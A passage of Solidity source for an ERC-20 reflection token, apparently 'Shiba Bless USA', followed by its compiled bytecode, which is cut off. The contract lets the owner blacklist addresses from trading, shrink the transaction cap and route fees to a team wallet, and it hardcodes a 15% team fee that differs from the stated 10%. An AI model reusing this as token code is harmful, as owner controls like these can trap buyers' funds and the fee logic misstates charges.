function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600f81526020017f536869626120426c657373205553410000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f205368696261426c657373000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315